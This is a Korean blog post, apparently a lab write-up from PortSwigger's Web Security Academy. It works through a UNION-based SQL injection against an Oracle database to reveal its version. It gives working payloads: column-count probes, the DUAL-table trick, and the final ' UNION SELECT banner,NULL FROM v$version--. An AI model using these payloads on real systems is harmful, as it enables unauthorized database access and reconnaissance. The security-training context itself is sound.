일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 성남 코로나 확진자
- 킹덤 고근희
- 이상형 만들기
- 스페인 코로나
- 김영권
- 스콜피온킹
- 최강욱
- 제넥신
- 해킹
- 김영권 아내
- 픽크루
- 조희연
- 임영규
- 양적완화
- 뭉쳐야 찬다
- 홍혜걸
- 이태원 클라쓰 15회 예고
- 폰폰테스트
- 고민정
- 성남은혜의강교회
- 김재석
- 은혜의 강 교회
- 불가피
- 학교 개학 연기 4월
- 미국 금리인하
- 금리인하
- 리리남매
- 유튜버 김재석
- 이지혜
- libtins
- Today
- Total
Dork's port
SQL-injection - SQL injection attack, querying the database type and version on Oracle 본문
SQL-injection - SQL injection attack, querying the database type and version on Oracle
Dork94 2020. 7. 14. 16:18DB의 버전을 출력하면 된다.
Portswigger의 cheat sheet를 보면, DB의 버전을 확일할 수 있는 방법은 다음과 같다
- Oracle :
SELECT banner FROM v$version
,SELECT version FROM v$instance
- Microsoft :
SELECT @@version
- PostgreSQL :
SELECT version()
- MySQL :
SELECT @@version
- Oracle :
테이블의 필드 수를 알기 위해
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
까지 해보았는데 되지 않는다. 아마도 Oracle DB는 다른 방법을 써야하나 보다. 찾아보자.On Oracle databases, every
SELECT
statement must specify a table to selectFROM
. If yourUNION SELECT
attack does not query from a table, you will still need to include theFROM
keyword followed by a valid table name.There is a built-in table on Oracle called DUAL which you can use for this purpose. For example:
UNION SELECT 'abc' FROM DUAL
이라고 페이지의 note가 되어있다. 요약하자면, Oracle에서SELECT
를 사용하기 위해서는 무조건FROM
키워드가 포함되어야 하며, Oracle에 기본적으로 있는DUAL
테이블을 이용하면 된다고 한다.' UNION SELECT NULL,NULL FROM DUAL--
으로 확인 한 결과 field는 2개가 존재하는 것을 알 수 있다.따라서, payload는
' UNION SELECT banner,NULL FROM v$version--
이라~ 이말씀.